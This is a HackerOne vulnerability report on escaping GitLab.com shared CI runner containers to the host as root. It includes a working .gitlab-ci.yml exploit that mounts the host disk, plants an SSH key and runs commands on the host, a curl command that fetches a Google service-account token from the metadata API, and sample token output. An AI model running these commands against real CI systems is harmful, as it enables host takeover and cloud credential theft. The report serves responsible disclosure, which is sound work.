GitLab Runner Docker Escape - Metadata access
HackerOne report #546654 by apogiatzis
on 2019-04-23, assigned to estrike
:
Summary
When using running a CI pipeline with shared runners each job is executed in a docker container. With the appropriate payload in the .gitlab-ci.yml file, an adversary can launch a shell terminal on the host CoreOS with root privileges. From there he can access sensitive information such as the Google metadata API (169.254.169.254) (as also described in a different report here https://hackerone.com/reports/369451) , other Docker containers, and Public/Private keys for other services.
Steps to reproduce
- Create a project with the following
.gitlab-ci.yml
file:
image: python:latest
a:
script:
- mkdir /host
- mount /dev/sda9 /host
- source /host/etc/environment
- cd ~ && mkdir .ssh && ssh-keygen -f .ssh/id_rsa -t rsa -N ''
- cat .ssh/id_rsa.pub >> /host/home/core/.ssh/authorized_keys
- echo $COREOS_PRIVATE_IPV4
- ssh -o StrictHostKeychecking=no -t core@$COREOS_PRIVATE_IPV4 '<SHELL_COMMAND>'
-
Replace the
<SHELL_COMMAND>
with the command that you would like to be executed on the host -
Run the build pipeline
-
For command
docker ps
the following output should appear in the console output:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e363b5ea267f 59a8c21b72d4 "sh -c 'if [ -x /usr…" 1 second ago Up Less than a second runner-ed2dce3a-project-11979472-concurrent-0-build-4
10055962f63a quay.io/gitlab/gitlab-runner-docker-cleanup:latest "go-wrapper run" 7 weeks ago Up 2 minutes gitlab-runner-docker-cleanup
04847c248662 registry.gitlab.com/gitlab-org/ci-cd/suricata-runner:0.3 "/sbin/init" 7 weeks ago Up 2 minutes suricata
500ac293b4a4 quay.io/prometheus/node-exporter:v0.16.0 "/bin/node_exporter …" 7 weeks ago Up 2 minutes node-exporter
- Alternatively, you can access the Google Metadata API by replacing command with
curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
. This should give a similar output with:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0{"access_token":"ya29.c.El70Bp_ka_uaCv_cRQO5iupFmaNs1_MmJYJUX8Mu_XE-LEXh84NUg5V7LTwjyv9Vt_lTmWW82pXyvKWwqz8X2MjedaWbiJSKgdxKvG9adayYKJtThX5WEQ7L5K5kKbSy","expires_in":3599,"token_type":"Bearer"}
100 194 100 194 0 0 8434 0 --:--:-- --:--:-- --:--:-- 8434
Impact
This vulnerability allows internal resources to be exposed to the node. These can include sensitive keys which can be used to tamper with the data of the project thus poisoning it to affect other users.
This is mere speculation as I wasn't able to achieve that but I hypothesize that is possible to obtain the token for the Google Service Account used to upload the cache. This would allow an intruder to presign upload urls and poison project caches not only for this project but for other projects as well.
I will investigate further for the last claims and report if anything is found.
Examples
Here is an example project demonstrating the issue:
https://gitlab.com/hackerone_apogiatzis/bugbounty_project
What is the current bug behavior?
The runner docker container is executed as a privileged container (--privileged flag) . This makes it possible to mount the host filesystem on the container (/dev/sda9). Therefore, a new ssh key pair is generated and the public key is added to the host's authorized keys allowing the container to open up an ssh connection to the host as the core
user which essentially has root privileges.
What is the expected correct behavior?
A permission denied message should have been received when attempting to mount the /dev/sda9 filesytem
Relevant logs and/or screenshots
Screenshot of running docker ps
on the host:
https://ibb.co/9Tnfyrq
Output of checks
This bug happens on GitLab.com
Impact
This vulnerability allows internal resources to be exposed to the node. These can include sensitive keys which can be used to tamper with the data of the project thus poisoning it to affect other users.
This is mere speculation as I wasn't able to achieve that but I hypothesize that is possible to obtain the token for the Google Service Account used to upload the cache. This would allow an intruder to presign upload urls and poison project caches not only for this project but for other projects as well.
In addition, this can be very critical if 0-days are discovered that concern the Google Compute Engine and CoreOS setup since an attacker could utilise this elevated access to exploit them.